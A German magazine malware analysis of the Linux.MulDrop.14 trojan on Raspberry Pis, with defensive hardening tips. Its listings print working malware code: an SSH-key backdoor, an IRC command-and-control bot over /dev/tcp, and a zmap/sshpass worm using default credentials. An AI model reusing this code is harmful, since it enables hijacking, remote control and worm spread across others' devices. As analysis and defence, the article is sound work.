Der Raspberry Pi im Visier von Trojanern

Minensklave

Im nächsten Schritt ändert der Trojaner das Passwort – ab diesem Zeitpunkt können Sie sich nicht mehr auf dem System anmelden. Danach trägt das Programm einen eigenen SSH-Schlüssel ein und fügt den Google-Nameserver unter der IP *8.8.8.8 zum System hinzu. Dann kümmert sich das Skript wieder um die Konkurrenz: Ein Mining-Tool für diverse Crypto-Währungen und abermals Kaiten sollen vom System verschwinden (Listing 3).

Listing 3

 

[...]
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten
[...]

Danach verwandelt der Trojaner das RasPi-System in einen ferngesteuerten Zombie. Per IRC verbindet sich das Programm zu einem Control-System und lädt weitere Daten herunter, die es dann wieder als Bash-Skript ausführt (Listing 4). Das bietet den Hintermännern die Möglichkeit, dem Trojaner später beliebige Funktionen hinzuzufügen. Aktuell holt sich das System einen Crypto-Miner, der im Hintergrund die Prozessorlast auf das Maximum hochtreibt. Der Raspberry Pi heizt sich dementsprechend hoch.

Listing 4

 

[...]
cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
arr[0]="ix1.undernet.org"
[...]
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
echo $NICK
eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
# Main loop
while [ true ]; do
eval "read msg_in <&3;"
if [[ ! "$?" -eq 0 ]] ; then
break
fi
if  [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
[...]

Den Abschluss bildet dann eine Routine zur viralen Verbreitung der Malware. Das Skript installiert über die Paketverwaltung den sehr leistungsfähigen Netzwerkscanner Zmap [5] und fragt bei jedem Durchlauf 100 000 IP-Adressen auf einem SSH-Server ab. Antwortet dieser, versucht sich das Programm mit pi:raspberry einzuloggen, und das Spiel geht von Neuem los (Listing 5).

Listing 5

 

[...]
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes
while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
[...]

Schutz gegen Trojaner

Das Risiko, sich den Trojaner einzufangen, dürfte in der Praxis relativ gering bleiben: Der Trojaner muss lokal im Netz ausgeführt werden und auf einen RasPi mit aktiviertem SSH-Server und Standardlogin treffen. Das Risiko steigt jedoch mit der Größe des Netzwerks. Zu Hause dürften die meisten Nutzer die Kontrolle über die Anzahl und Verwendung der im Netz aktiven Rechner haben. In einem Universitätsnetz oder im Firmen-LAN droht schon alleine aufgrund der Anzahl der Teilnehmer mehr Gefahr.

Eine Infektion zu Hause über das Internet wäre nur dann möglich, wenn Sie als Anwender Port 22 vom Router auf einen RasPi weiterleiten und die Zugangsdaten nicht ändern. In diesem Fall dürfte es allerdings in der Tat nicht lange dauern, bis Linux.MulDrop.14 zuschlägt. Nutzen Sie den RasPi als SSH-Gateway, sollten Sie daher auf jeden Fall das Passwort des Nutzers pi mittels passwd ändern. Sie verringern das Risiko eines erfolgreichen Angriffs mit dieser simplen Maßnahme deutlich.

Des Weiteren müssen Sie nicht zwangsläufig Port 22 für SSH nutzen. Indem Sie beispielsweise Port 622 des Routers an den Port 22 des Raspberry Pi durchleiten, laufen die Angriffe (und viele andere Portscans) ins Leere (Abbildung 2). Beim Verbindungsaufbau aus dem Internet müssen Sie dann nur im SSH-Client den entsprechenden Port angeben, unter Linux etwa mit folgendem Kommando:

$ ssh -p 622 pi@Host
Abbildung 2: Der SSH-Server des Raspberry Pi muss nicht zwingend auf Port 22 zu erreichen sein.

Alternativ dazu ändern Sie direkt im SSH-Server des Raspberry Pi den vom Dienst genutzten Port. Die Einstellung finden Sie gleich am Anfang der für den Server verantwortlichen Konfigurationsdatei /etc/ssh/sshd_config (Listing 6), die Port-Vorgabe ändern Sie mit einem beliebigen Texteditor. Danach müssen Sie die Konfiguration mittels sudo service ssh reload neu einlesen. Zusätzlich könnten Sie hier auch gleich dem Nutzer pi verbieten, sich via SSH per Passwort anzumelden (ab Zeile 7).

Listing 6

 

# Package generated configuration file
# See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for
Port 22
[...]
# Raspbian Standard-Benutzer aussperren
Match user pi
PasswordAuthentication no

Zuvor sollten Sie jedoch einen neuen Nutzer speziell für den SSH-Einsatz anlegen und ihm dieselben Rechte einräumen wie dem Nutzer pi (Listing 7). Ansonsten sperren Sie sich aus Ihrem eigenen System aus. Danach arbeiten Sie dann mit dem individuell benannten User. Um sich jetzt unautorisierten Zutritt zu verschaffen, müsste man das RasPi-System nun schon per Brute-Force angreifen oder andere Schwachstellen in den Netzwerkfunktionen des Betriebssystems ausnutzen.

Listing 7

 

$ sudo adduser Name
$ for GROUP in $(groups pi | sed 's/.*:\spi//'); do sudo adduser Name $GROUP; done

Was tun, wenn's brennt?

Hersteller von Antivirensoftware versprechen, Rechner vor Computerviren und Malware zu schützen und bei Befall diesen von der Schadsoftware zu befreien. Diesen Versprechen sollten Sie nicht allzu viel Vertrauen schenken: Sollten Sie eine Infektion bemerken, etwa weil Sie sich nicht mehr einloggen können und die Betriebstemperatur des RasPi merklich ansteigt, dann machen Sie besser reinen Tisch.

Stecken Sie den betroffenen RasPi vom Strom ab und nehmen Sie die Speicherkarte heraus. Auf einem Linux-Computer können Sie einen Blick auf das System werfen. Finden Sie die angesprochenen Manipulationen in /opt/, in der /etc/rc.local und in der /etc/hosts, dann haben Sie sich Linux.MulDrop.14 eingefangen.

In diesem Fall sollten Sie das System komplett neu aufsetzen, nachdem Sie mit Bedacht wichtige Daten gesichert haben – hier gilt das Motto "better safe than sorry". Bevor Sie das System dann wieder ans Netz hängen, befolgen Sie bitte die Tipps aus dem Abschnitt "Schutz gegen Trojaner".

Diesen Artikel als PDF kaufen

Express-Kauf als PDF

Umfang: 5 Heftseiten

Preis € 0,99
(inkl. 19% MwSt.)

Raspberry Pi Geek kaufen

Einzelne Ausgabe
 
Abonnements
 
TABLET & SMARTPHONE APPS
Bald erhältlich
Get it on Google Play

Deutschland

Ähnliche Artikel

  • Editorial RPG 03/2015

    Als die Raspberry Pi Foundation das überarbeitete Modell B+ präsentierte, waren durchaus einige RasPi-Fans ein wenig enttäuscht. Die vier USB-Ports und die stabilere Stromversorgung kamen vielen Bastlern gelegen, doch die RasPi-Community wartete sehnlich auf ein Modell mit mehr Leistung. Der unerwartet schnell präsentierte Raspberry Pi 2 versöhnt die Gemeinschaft nun wieder.

  • Heimautomation mit dem Raspberry Pi

    Mit geringem finanziellem Aufwand und ein wenig Bastelei bringen Sie dem RasPi bei, morgens das Licht einzuschalten, den Kaffee zu kochen und Ihren Lieblingsfilm im Fernseher abzuspielen.

  • Raspberry-Pi-Klon SolidRun HummingBoard aus Israel

    Mit Quad-Core-Power, mehr Speicher und schnelleren Interfaces soll das HummingBoard dem Raspberry Pi Konkurrenz machen. Trotz weitgehender Kompatibilität der Schnittstellen steckt der Teufel hier, wie so oft, im Detail.

  • PHP auf dem Raspberry Pi

    Es muss nicht immer Python sein: Auch per PHP lassen sich auf dem RasPi die GPIO-Pins ansteuern, was das Ganze für Webapps interessant macht.

  • FHEM auf dem Raspberry Pi installieren

    Die Hausautomatisierungssoftware FHEM fehlt bislang in den Paketquellen von Raspbian, Sie müssen sie also manuell auf einem bestehenden System einspielen. Dieser Artikel zeigt, wie das am besten klappt.

Aktuelle Ausgabe

04/2019
TV & Multimedia

Diese Ausgabe als PDF kaufen

Preis € 9,99
(inkl. 19% MwSt.)

Stellenmarkt

Neuigkeiten

  • Finger weg

    Ein Temperatursensor verrät, ob Sie einen Gegenstand gefahrlos berühren dürfen. Beim Messen brauchen Sie dabei noch nicht einmal Kontakt zum Objekt.

  • Aus einer Hand

    Um einen Mikrocontroller zu programmieren, genügt ein Raspberry Pi. Wir zeigen, was Sie dazu noch benötigen.

  • Im Gleichtakt

    Synchronisierte Live-Loops und selbst erstellte Funktionen helfen dabei, Sonic Pi wie ein Live-Instrument zu spielen.

  • Mach mal

    Das Ftduino-Modul schlägt die Brücke zu Fischertechnik und ermöglicht es unter anderem, einen Drei-Achsen-Roboter anzusteuern.

  • Eleganter Diener

    Jeden Morgen dieselben Handgriffe, um zu sehen, ob die S-Bahn fährt und wie das Wetter wird? Ein cleverer Infoscreen auf RasPi-Basis automatisiert den Vorgang.

  • Bienenflüsterer

    Bienenzüchter, die ihre Völker besser kennenlernen möchten, müssen die fleißigen Insekten nicht pausenlos stören. Mit einem Raspberry Pi und verschiedenen Sensoren überwachen sie Temperatur, Luftfeuchtigkeit und bald auch das Gewicht des Bienenstocks.

  • Beerige Musik

    Für echten Hi-Fi-Sound braucht es mehr als einen kleinen Bluetooth-Brüllwürfel. Mit Volumio und einem Raspberry Pi rüsten Sie Ihre klassische Hi-Fi-Anlage mit smarten Funktionen auf.

  • Ton ab!

    Auf den ersten Blick erscheint der RasPi zu schwachbrüstig für den Betrieb leistungshungriger DAW-Software. Doch der Schein trügt.

  • Himbeer-TV

    Der DVB TV µHAT rüstet den Raspberry Pi mit einem DVB-T/T2-Tuner auf. Die deutsche TV-Landschaft schränkt dessen Möglichkeiten allerdings ein.

  • Git à la RasPi

    Mit wenigen Handgriffen zum Git-Hoster: Die dezentrale Arbeitsweise von Git erleichtert in Kombination mit der Netzwerkfähigkeit des RasPi das Verwalten von Quellcode.